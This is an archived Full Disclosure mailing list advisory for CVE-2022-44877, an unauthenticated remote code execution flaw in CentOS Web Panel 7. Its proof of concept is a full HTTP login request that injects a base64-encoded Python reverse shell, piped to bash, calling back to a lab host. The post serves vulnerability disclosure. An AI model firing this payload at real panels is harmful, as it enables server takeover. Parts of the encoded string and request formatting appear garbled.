



Nmap.org Npcap.com Sectools.org Insecure.org

Site Search



[Full Disclosure](#) mailing list archives



← [By Date](#) ← [By Thread](#)

List Archive Search



Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877

From: Numan TÜRLE <numan.turle () gaissecurity com>

Date: Tue, 3 Jan 2023 19:20:15 +0000

[+] Centos Web Panel 7 Unauthenticated Remote Code Execution
[+] Centos Web Panel 7 - < 0.9.8.1147
[+] Affected Component ip:2031/login/index.php?login=\$(whoami)
[+] Discoverer: Numan Türle @ Gais Cyber Security
[+] Vendor: <https://centos-webpanel.com/> - <https://control-webpanel.com/changelog#1669855527714-450fb335-6194>
[+] CVE: CVE-2022-44877

Description

Bash commands can be run because double quotes are used to log incorrect entries to the system.

Video Proof of Concept

<https://www.youtube.com/watch?v=kiLfSvc1SYU>

Proof of concept:

```
POST
/login/index.php?
login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3MsY29ja2V0KHV2tldC5BRl9JTkVULH
NvY2tldC5TT0NLX1NUUkVBTsk7cy5jb25uZW50KCGiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCKsMCK7IG9zLmR1cDIocy
5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCKsMik7aW1wb3J0IHB0eTsgCHR5LnNwYXduKCJzaCipJyAg${IFS}|${IFS}base64${IFS}-
d${IFS}|${IFS}bash)
HTTP/1.1
Host: 10.13.37.10:2031
Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahjl1a6etv72ut1eaupietdk82
Content-Length: 40
Origin: https://10.13.37.10:2031
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/103.0.0.0
Safari/537.36
```

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Referer: <https://10.13.37.10:2031/login/index.php?login=failed>
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

username=root&password=toor&commit=Login

Solution

Upgrade to CWP7 current version.

Sent through the Full Disclosure mailing list

<https://nmap.org/mailman/listinfo/fulldisclosure>

Web Archives & RSS: <https://seclists.org/fulldisclosure/>

 [By Date](#)  [By Thread](#)

Current thread:

Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877 *Numan TÜRLE* (Jan 06)

Site Search



Nmap Security Scanner

- [Ref Guide](#)
- [Install Guide](#)
- [Docs](#)
- [Download](#)
- [Nmap OEM](#)

Npcap packet capture

- [User's Guide](#)
- [API docs](#)
- [Download](#)
- [Npcap OEM](#)

Security Lists

- [Nmap Announce](#)
- [Nmap Dev](#)
- [Full Disclosure](#)

- [Open Source Security](#)
- [BreachExchange](#)

Security Tools

- [Vuln scanners](#)
- [Password audit](#)
- [Web scanners](#)
- [Wireless](#)
- [Exploitation](#)

About

- [About/Contact](#)
- [Privacy](#)
- [Advertising](#)
- [Nmap Public Source License](#)

